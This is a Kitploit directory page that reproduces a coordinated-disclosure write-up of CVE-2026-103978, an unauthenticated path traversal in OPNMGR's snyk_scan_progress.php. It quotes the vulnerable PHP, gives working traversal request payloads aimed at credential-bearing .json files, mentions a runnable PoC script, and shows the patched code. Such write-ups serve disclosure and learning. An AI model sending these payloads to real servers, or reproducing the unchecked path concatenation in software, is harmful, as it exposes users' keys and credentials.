Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-103978 — Proof-of-concept and writeup for CVE-2026-103978, an unauthenticated path traversal in OPNMGR's snyk_scan_progress.php allowing arbitrary .json file read. | Kitploit
Tools/GitHubGitHub/kiwknr/cve-2026-103978
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubkiwknr/cve-2026-103978

CVE-2026-103978

Proof-of-concept and writeup for CVE-2026-103978, an unauthenticated path traversal in OPNMGR's snyk_scan_progress.php allowing arbitrary .json file read.

View Repository
11 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-103978 - Unauthenticated path traversal in OPNMGR

Arbitrary .json file read, no login needed. Found this while reading through the source of agit8or1/OPNMGR, an OPNsense fleet manager written in PHP.

CVECVE-2026-103978
AdvisoryGHSA-8x7v-vwpx-3wr7
ClassCWE-22 (Path Traversal)
Authnone
CVSS v3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS v4.08.7 High
Fixed inv3.10.0
CreditKanarat Kaeothong (Axiom0x)

The bug

snyk_scan_progress.php sits in the web root and takes a scan_id straight from the query string, pastes it into a file path, and hands the result to file_get_contents(). There is no auth include, no session check, no sanitising of the parameter.

<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? '';                  // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }

$progress_file = "/tmp/snyk_scan_{$scan_id}.json";  // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }

$progress_data = file_get_contents($progress_file);
echo $progress_data;                                // sent back to the caller

Every other endpoint in the app pulls in inc/bootstrap.php and calls requireLogin() before doing anything. This one skips all of it. So scan_id is attacker controlled, drops into the path verbatim, and the file body comes back in the response.

One wrinkle: the prefix snyk_scan_ is glued to whatever you send, so a payload that starts with .. gets eaten (snyk_scan_.. is just a weird filename in /tmp). You need a throwaway segment first so the .. actually becomes a parent-directory hop:

/tmp/snyk_scan_ + x/../../etc/passwd  ->  /tmp/snyk_scan_x/../../etc/passwd
                                       ->  /etc/passwd.json

The trailing .json is forced by the code and there is no null-byte trick in modern PHP, so you can only read files that end in .json. In a real PHP deployment that is not much of a limit. Config files, service-account keys, composer auth.json, cloud credentials, most of the juicy stuff is already .json.

PoC

GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
  -> returns /var/www/opnsense/config.json

GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
  -> walks to filesystem root, returns /etc/some_config.json

There is a runnable version in poc/poc.sh.

Impact

Any file ending in .json that www-data can read, disclosed to anyone who can reach the page. On a box that manages OPNsense firewalls that usually means API keys and credentials.

Fix

Add the auth include the rest of the app uses, and validate scan_id against a tight allow-list before building the path:

require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();

$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid scan id']);
    exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';

Maintainer shipped the fix in v3.10.0.

Timeline

  • 2026-07-24 found it, confirmed path resolution locally
  • 2026-07-24 private advisory to the maintainer through GitHub Security
  • later maintainer acknowledged and patched
  • 2026-10-02 GitHub CNA assigned CVE-2026-103978

References

  • Advisory: https://github.com/agit8or1/OPNMGR/security/advisories/GHSA-8x7v-vwpx-3wr7
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-103978
  • Affected file: https://github.com/agit8or1/OPNMGR/blob/main/snyk_scan_progress.php

Reported through coordinated disclosure. The vulnerable version is no longer the current release. Writeup is here for reference and learning.

Download Tool